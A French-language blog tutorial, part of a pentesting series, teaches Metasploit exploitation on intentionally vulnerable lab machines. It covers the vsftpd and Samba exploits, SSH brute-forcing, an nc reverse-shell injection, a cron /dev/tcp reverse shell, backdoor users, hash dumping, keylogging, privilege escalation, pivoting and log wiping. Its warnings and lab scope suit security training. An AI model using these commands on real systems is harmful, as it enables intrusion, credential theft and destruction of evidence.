Menu
À propos Services Parcours Travaillons ensemble
Cybersecurity concept visualization
Sécurité Mar 8, 2026 • 28 min de lecture

Exploitation: From Vulnerability to Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

Partager:
Lee Foropoulos

Lee Foropoulos

28 min de lecture

Le Chemin du Hacker : Une Série en 5 Parties

Partie 1 : IntroductionPartie 2 : Maîtrise du FlipperPartie 3 : Fondamentaux de KaliPartie 4 : ExploitationPartie 5 : L'Audit Complet

Dans les Parties 1-3, tu as construit ta boîte à outils. Tu sais cloner des badges, cartographier des réseaux, capturer des handshakes et identifier chaque service qui tourne sur une cible. Tu vois des vulnérabilités partout maintenant. Mais voir une vulnérabilité et l'exploiter sont des compétences très différentes.

C'est ici que ça devient sérieux. Aujourd'hui tu vas apprendre à utiliser le Metasploit Framework, le même outil utilisé par les pentesters professionnels dans le monde entier. Tu vas exploiter ta première vulnérabilité, établir la persistance, escalader les privilèges et apprendre à pivoter à travers un réseau.

La Ligne Que Tu Ne Dois Pas Franchir

Tout ce qui est dans cet article doit être pratiqué sur des systèmes que tu possèdes ou pour lesquels tu as une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est un crime fédéral passible de peines allant jusqu'à 20 ans d'emprisonnement. "J'étais juste en train d'apprendre" n'est pas une défense. Construis un lab, utilise des VMs intentionnellement vulnérables, et ne touche jamais à des systèmes qui ne t'appartiennent pas.

Partie 1 : Construire Ton Lab d'Attaque

Avant d'exploiter quoi que ce soit, tu as besoin de cibles. Les vrais pentesters utilisent des environnements de lab isolés avec des machines intentionnellement vulnérables. Tu feras pareil.

La Configuration Essentielle du Lab

Ce Dont Tu Auras Besoin

  • Kali Linux VM - Ta machine d'attaque (de la Partie 3)
  • Metasploitable 2 - VM Linux intentionnellement vulnérable (SourceForge)
  • Metasploitable 3 - VM Windows/Linux vulnérable (GitHub)
  • DVWA - Damn Vulnerable Web Application (GitHub)
  • VulnHub VMs - Machines vulnérables style CTF (vulnhub.com)

Projet : Configuration Réseau du Lab

Temps : 45 minutes

  1. Télécharge Metasploitable 2 depuis SourceForge
  2. Importe dans VirtualBox/VMware
  3. Configure le réseau : Mets Kali et Metasploitable en "Host-Only" ou "Internal Network"
  4. Démarre Metasploitable (login par défaut : msfadmin / msfadmin)
  5. Note l'adresse IP : ifconfig
  6. Depuis Kali, vérifie la connectivité : ping METASPLOITABLE_IP
  7. Lance un scan initial : sudo nmap -sV -sC METASPLOITABLE_IP

Vérification : Tu devrais voir des dizaines de ports ouverts. Metasploitable est conçu pour être compromis.

Ton scan nmap de Metasploitable devrait révéler des services comme FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL et plus encore, beaucoup tournant des versions obsolètes et vulnérables. C'est ton terrain de jeu.

Partie 2 : Fondamentaux du Metasploit Framework

Metasploit n'est pas qu'un outil. C'est un écosystème. Il contient des milliers d'exploits, de payloads, de modules auxiliaires et d'outils de post-exploitation. Comprendre sa structure est essentiel.

4,000+
Modules d'exploit disponibles dans le Metasploit Framework, couvrant chaque plateforme majeure et classe de vulnérabilité.

Démarrer Metasploit

bash# Initialize the database (first time only)
sudo msfdb init

# Start Metasploit console
msfconsole

# You'll see the Metasploit banner and prompt:
msf6 >

La Structure de Metasploit

Metasploit organise tout en modules :

  • Exploits - Code qui tire avantage des vulnérabilités
  • Payloads - Code qui s'exécute après l'exploitation (shells, meterpreter)
  • Auxiliary - Scanners, fuzzers et autres utilitaires
  • Post - Modules de post-exploitation pour la persistance, le pivotement
  • Encoders - Obscurcissent les payloads pour échapper à la détection
bash# Search for modules
msf6 > search type:exploit platform:linux smb

# Search by CVE
msf6 > search cve:2017-0144

# Search by name
msf6 > search vsftpd

# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

Le Workflow d'Exploitation

Chaque exploitation dans Metasploit suit le même schéma :

  1. Sélectionne un exploit - use exploit/path/to/module
  2. Configure les options - IP cible, ports, identifiants
  3. Sélectionne un payload - Ce qui s'exécute après l'exploitation
  4. Exécute - exploit ou run
Cybersecurity operations with code on multiple screens
Le Metasploit Framework fournit une approche structurée de l'exploitation, transformant la recherche de vulnérabilités en workflows professionnels et reproductibles.

Partie 3 : Ton Premier Exploit

Exploitons l'une des portes dérobées les plus célèbres de l'histoire : la backdoor vsftpd 2.3.4. En 2011, quelqu'un a inséré une porte dérobée dans le code source de vsftpd. Si tu envoies un nom d'utilisateur se terminant par :), un shell s'ouvre sur le port 6200.

Metasploitable 2 exécute exactement cette version.

bash# Start Metasploit
msfconsole

# Search for the exploit
msf6 > search vsftpd

# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101

# Run the exploit
msf6 exploit(...) > exploit

# If successful:
[*] Command shell session 1 opened
[+] Got shell!

# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)

C'est tout. Un service vulnérable, un exploit, accès root. Voilà pourquoi maintenir les logiciels à jour est important.

Un service vulnérable, un exploit, accès root. Voilà pourquoi maintenir les logiciels à jour est important.

Projet : Exploiter la Backdoor vsftpd

Temps : 15 minutes

Prérequis : Metasploitable 2 en marche, Kali sur le même réseau

  1. Vérifie que FTP tourne : nmap -sV -p 21 TARGET_IP
  2. Lance msfconsole
  3. Cherche, sélectionne et configure l'exploit vsftpd
  4. Exécute l'exploit
  5. Une fois que tu as un shell, explore : cat /etc/shadow

Critère de réussite : Tu peux lire /etc/shadow, auquel seul root peut accéder.

Partie 4 : Comprendre les Payloads

Un payload est ce qui s'exécute après que l'exploit a réussi. Le shell basique qu'on a obtenu ci-dessus est simple, mais Metasploit offre des options bien plus puissantes.

Types de Payloads

  • Singles - Payloads autonomes à usage unique (ajouter un utilisateur, exécuter une commande)
  • Stagers - Petits payloads qui établissent une connexion, puis téléchargent le payload principal
  • Stages - Le payload principal téléchargé par le stager (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads

# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcp

Reverse vs Bind Shells

  • Reverse shell - La cible se connecte à toi. Meilleur pour contourner les firewalls (le trafic sortant est généralement autorisé).
  • Bind shell - La cible ouvre un port pour que tu te connectes. Plus facile à détecter, souvent bloqué par les firewalls.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444

# Metasploit starts a listener automatically when you exploit

Meterpreter : Le Payload Ultime

Meterpreter est le payload le plus puissant de Metasploit. Il s'exécute entièrement en mémoire (aucun fichier sur le disque), fournit une communication chiffrée et inclut des dizaines de commandes intégrées pour la post-exploitation.

bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo          # System information
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List files
meterpreter > download file    # Download file to Kali
meterpreter > upload file      # Upload file to target
meterpreter > shell            # Drop to system shell
meterpreter > hashdump         # Dump password hashes
meterpreter > screenshot       # Take screenshot
meterpreter > keyscan_start    # Start keylogger
meterpreter > keyscan_dump     # Dump keystrokes
meterpreter > background       # Background this session

Partie 5 : Plus de Techniques d'Exploitation

Exploiter Samba (SMB)

Metasploitable 2 exécute une version vulnérable de Samba. C'est similaire au célèbre exploit EternalBlue utilisé dans WannaCry.

bash# Search for Samba exploits
msf6 > search type:exploit samba

# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

Exploiter des Identifiants Faibles

Tous les compromis ne nécessitent pas une vulnérabilité logicielle. Les mots de passe faibles sont partout.

bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run

# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Exploitation d'Applications Web

Metasploitable inclut plusieurs applications web vulnérables. Exploitons une injection de code PHP.

bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)

# Use Metasploit's web exploits
msf6 > search type:exploit php

# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444

Projet : Exploiter Trois Services Différents

Temps : 60 minutes

Cible : Metasploitable 2

  1. Exploiter la backdoor vsftpd (FTP - port 21) et obtenir un shell root
  2. Exploiter Samba usermap_script (SMB - port 139/445) et obtenir un shell root
  3. Cracker les identifiants SSH (port 22) en utilisant auxiliary/scanner/ssh/ssh_login
  4. Documenter chaque exploitation : module utilisé, options configurées, résultat

Bonus : Explore les applications web sur le port 80 et trouve des vecteurs d'exploitation manuels.

Partie 6 : Post-Exploitation

Obtenir un shell n'est que le début. Les vrais tests de pénétration nécessitent de démontrer ce qu'un attaquant pourrait faire avec cet accès. C'est la post-exploitation.

Collecte d'Informations

text# From a Meterpreter session
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux

# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arp
bash# From a regular shell
cat /etc/passwd       # All users
cat /etc/shadow       # Password hashes (requires root)
cat /etc/hosts        # Network mappings
netstat -tulpn        # Open ports
ps aux                # Running processes
crontab -l            # Scheduled tasks

Récolte d'Identifiants

text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash# Or from shell
cat /etc/shadow

# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Établir la Persistance

La persistance signifie maintenir l'accès même après des redémarrages ou quand ton vecteur d'exploit initial est corrigé.

bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker

# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys

# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistance = Preuves

Chaque mécanisme de persistance laisse des traces. Dans un vrai test de pénétration, tu documentes ce que tu pourrais faire, puis tu nettoies. Laisser des portes dérobées sur les systèmes des clients est non professionnel et potentiellement illégal. Dans ton lab, fais-toi plaisir, mais comprends les implications.

Partie 7 : Escalade de Privilèges

Souvent tu obtiens l'accès initial en tant qu'utilisateur avec peu de privilèges. Escalader vers root/admin est généralement nécessaire pour atteindre les objectifs du test.

Escalade de Privilèges Linux

bash# Current user context
id
whoami

# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version (for kernel exploits)
uname -a

# Running processes as root
ps aux | grep root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Scripts d'Énumération Automatisée

bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000

# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitable

Vecteurs Courants de Privesc Linux

bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell

# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;

# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shell

Escalade de Privilèges Windows

Si tu testes des cibles Windows (Metasploitable 3), les techniques diffèrent :

text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user

meterpreter > getsystem
[+] ...got SYSTEM

# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester

# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploit

Projet : Escalader d'Utilisateur à Root

Temps : 45 minutes

Scénario : Tu as un accès SSH à Metasploitable en tant que msfadmin (non root)

  1. SSH vers Metasploitable : ssh msfadmin@TARGET
  2. Exécute id pour confirmer que tu n'es pas root
  3. Vérifie les permissions sudo : sudo -l
  4. Cherche les binaires SUID : find / -perm -4000 2>/dev/null
  5. Uploade et exécute LinPEAS
  6. Identifie un vecteur de privesc et exploite-le

Objectif : Obtenir un shell root en utilisant autre chose que l'exploitation d'un service réseau.

Hacker working on code in a dark environment
L'escalade de privilèges transforme un accès limité en contrôle total du système, souvent grâce à des erreurs de configuration négligées plutôt que des exploits sophistiqués.

Partie 8 : Pivotement

Le pivotement consiste à utiliser un système compromis pour attaquer d'autres systèmes qui ne sont pas directement accessibles depuis ta machine d'attaque. C'est ainsi que les attaquants se déplacent latéralement à travers les réseaux.

Le Scénario de Pivot

Imagine ce réseau :

  • Ton Kali : 192.168.1.100
  • Hôte compromis : 192.168.1.50 (aussi connecté au réseau interne 10.0.0.0/24)
  • Cible : 10.0.0.10 (accessible uniquement depuis 192.168.1.50)

Tu ne peux pas atteindre 10.0.0.10 directement. Mais via l'hôte compromis, tu peux.

Routage Metasploit

text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50

meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1

meterpreter > background

# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print

# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run

# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploit

Proxy SOCKS pour un Accès Complet

bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run

# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080

# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]

Tunnels SSH (Sans Metasploit)

bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host

# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80

# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444

Partie 9 : Couvrir ses Traces

Les pentesters professionnels documentent leur accès mais nettoient derrière eux. Comprendre comment les attaquants couvrent leurs traces t'aide aussi à détecter les intrusions.

bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp

# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log

# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file

# Meterpreter
meterpreter > clearev          # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"

En Mission Réelle : Ne Fais Pas Ça

Les pentesters professionnels documentent leur accès et rapportent leurs découvertes. Ils ne les cachent pas. Effacer les logs détruit des preuves dont les défenseurs ont besoin pour comprendre le chemin d'attaque. Ne pratique ces techniques que dans ton environnement de lab isolé.

Le Chemin du Hacker

Une série en 5 parties qui te mène de curieux à compétent.

Partie 1 : Introduction Partie 2 : Maîtrise du Flipper Partie 3 : Fondamentaux de Kali Partie 4 : Exploitation ✓ Partie 5 : Audit Complet

Checklist de la Partie 4

☐ Configuration du Lab : Metasploitable 2 en marche, réseau isolé configuré

☐ Metasploit : Base de données initialisée, navigation de base maîtrisée

☐ Premier Exploit : Backdoor vsftpd exploitée, shell root obtenu

☐ Vecteurs Multiples : FTP, SMB exploités et identifiants SSH crackés

☐ Post-Exploitation : Hash de mots de passe extraits, système énuméré

☐ Escalade de Privilèges : Escaladé d'utilisateur à root sans exploit réseau

☐ Pivotement : Comprendre les concepts d'autoroute et proxy SOCKS

☐ Documentation : Tous les exploits documentés avec étapes et preuves

Plan d'Action Compétences d'Exploitation 0/5

La Suite

Tu as appris à exploiter des vulnérabilités, escalader des privilèges et pivoter à travers des réseaux. Tu as vu à quelle vitesse une seule faiblesse devient un compromis total. Tu comprends ce que font les pentesters professionnels.

Dans la Partie 5, on rassemble tout. Tu vas mener un audit de sécurité complet du début à la fin :

  • Cadrage et règles d'engagement
  • Méthodologie complète de reconnaissance
  • Exploitation systématique
  • Post-exploitation exhaustive
  • Rapport professionnel
  • Recommandations de remédiation

La Partie 5 est le projet final. Tout ce que tu as appris à travers cette série se rassemble en une méthodologie concrète que tu peux utiliser pour évaluer la sécurité de n'importe quel réseau que tu es autorisé à tester.

Tu as appris les techniques. Maintenant tu apprends la méthodologie. La Partie 5 transforme les compétences en un workflow complet de test de pénétration.

On se retrouve dans la Partie 5.

How was this article?

Partager

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Ne manquez aucun article

Recevez une notification lors de la publication de nouveaux articles. Aucun courriel requis.

Vous verrez une banniere sur le site quand il y a un nouvel article, plus une notification navigateur si vous autorisez.

Notifications du navigateur uniquement. Pas de spam, pas de courriel.